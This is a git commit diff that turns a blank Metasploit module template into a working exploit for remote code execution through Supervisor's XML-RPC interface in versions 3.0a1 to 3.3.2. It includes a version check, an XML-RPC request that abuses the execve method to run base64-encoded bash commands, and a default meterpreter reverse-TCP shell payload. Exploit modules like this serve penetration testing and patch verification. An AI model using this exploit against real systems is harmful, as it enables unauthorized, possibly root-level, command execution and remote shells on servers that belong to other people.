parent
7cfb5fcc97
commit
aee44e3bd2
|
@ -6,44 +6,182 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Remote
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rank = NormalRanking
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
|
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Say something that the user might need to know
|
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
|
||||||
|
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
|
||||||
|
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
|
||||||
|
may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been
|
||||||
|
configured to run an HTTP server without authentication.
|
||||||
|
|
||||||
|
Due to the nature of this exploit, which utilizes the Python os.execve() function for RCE, the supervisord process
|
||||||
|
will die upon successful exploitation. This exploit attempts to restart the service to avoid a DoS of Supervisor.
|
||||||
|
|
||||||
|
This vulnerability affects versions 3.0a1 to 3.3.2.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Name' ],
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Calum Hutton <c.e.hutton@gmx.com>'
|
||||||
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'URL', '' ]
|
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
|
||||||
|
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'linux',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'System or software version',
|
['3.0a1-3.3.2', {}]
|
||||||
{
|
|
||||||
'Ret' => 0x41414141 # This will be available in `target.ret`
|
|
||||||
}
|
|
||||||
]
|
|
||||||
],
|
],
|
||||||
'Payload' =>
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00"
|
'RPORT' => 9001,
|
||||||
|
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||||
|
#'AutoRunScript' => 'post/multi/general/execute COMMAND="service supervisor restart"'
|
||||||
},
|
},
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DisclosureDate' => "",
|
'DisclosureDate' => '19 Jul 2017',
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(9001),
|
||||||
|
OptString.new('AUTH_REQUIRED', [false, 'Enable/disable HTTP basic auth', true]),
|
||||||
|
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
|
||||||
|
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
|
||||||
|
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_version(version_match)
|
||||||
|
maj = version_match[2]
|
||||||
|
min = version_match[3]
|
||||||
|
patch = version_match[5]
|
||||||
|
|
||||||
|
if maj.to_i == 3 and (patch.nil? or patch.to_i < 3)
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
# For the check command
|
|
||||||
|
print_status("Extracting version from web interface..")
|
||||||
|
|
||||||
|
params = {
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri('/')
|
||||||
|
}
|
||||||
|
if datastore['AUTH_REQUIRED'].to_s == 'true'
|
||||||
|
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
||||||
|
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
||||||
|
end
|
||||||
|
res = send_request_cgi(params)
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.code == 200
|
||||||
|
match = res.body.match(/<span>((\d+)\.([\dab]+)(\.(\d+))?)<\/span>/)
|
||||||
|
if match
|
||||||
|
if check_version(match)
|
||||||
|
print_good("Vulnerable version found: #{match[1]}")
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
print_bad("Version #{match[1]} is not vulnerable")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_bad("Could not extract version number from web interface")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
elsif res.code == 401
|
||||||
|
print_bad("Authentication failed: #{res.code} response")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
print_bad("Unexpected HTTP code: #{res.code} response")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_bad("Error connecting to web interface")
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
|
||||||
|
# XML-RPC payload template
|
||||||
|
xml_payload = %{<?xml version="1.0"?>
|
||||||
|
<methodCall>
|
||||||
|
<methodName>supervisor.supervisord.options.execve</methodName>
|
||||||
|
<params>
|
||||||
|
<param>
|
||||||
|
<string>/bin/bash</string>
|
||||||
|
</param>
|
||||||
|
<param>
|
||||||
|
<array>
|
||||||
|
<data>
|
||||||
|
<value><string>bash</string></value>
|
||||||
|
<value><string>-c</string></value>
|
||||||
|
<value><string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash</string></value>
|
||||||
|
</data>
|
||||||
|
</array>
|
||||||
|
</param>
|
||||||
|
<param>
|
||||||
|
<struct>
|
||||||
|
</struct>
|
||||||
|
</param>
|
||||||
|
</params>
|
||||||
|
</methodCall>}
|
||||||
|
|
||||||
|
# Send the XML-RPC payload via POST to the specified endpoint
|
||||||
|
endpoint_path = target_uri.path
|
||||||
|
print_status("Sending XML-RPC payload via POST to #{peer}:#{datastore['RPORT']}#{endpoint_path}")
|
||||||
|
|
||||||
|
params = {
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(endpoint_path),
|
||||||
|
'ctype' => 'text/xml',
|
||||||
|
'headers' => {'Accept' => 'text/xml'},
|
||||||
|
'data' => xml_payload,
|
||||||
|
'encode_params' => false
|
||||||
|
}
|
||||||
|
if datastore['AUTH_REQUIRED'].to_s == 'true'
|
||||||
|
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
||||||
|
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
||||||
|
end
|
||||||
|
return send_request_cgi(params, timeout=5)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
# Main function
|
|
||||||
|
res = execute_cmdstager(:linemax => 800)
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.code == 401
|
||||||
|
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
|
||||||
|
elsif res.code == 404
|
||||||
|
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
|
||||||
|
else
|
||||||
|
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_good("Request timeout, usually indicates success. Passing to handler..")
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
Loading…
Reference in New Issue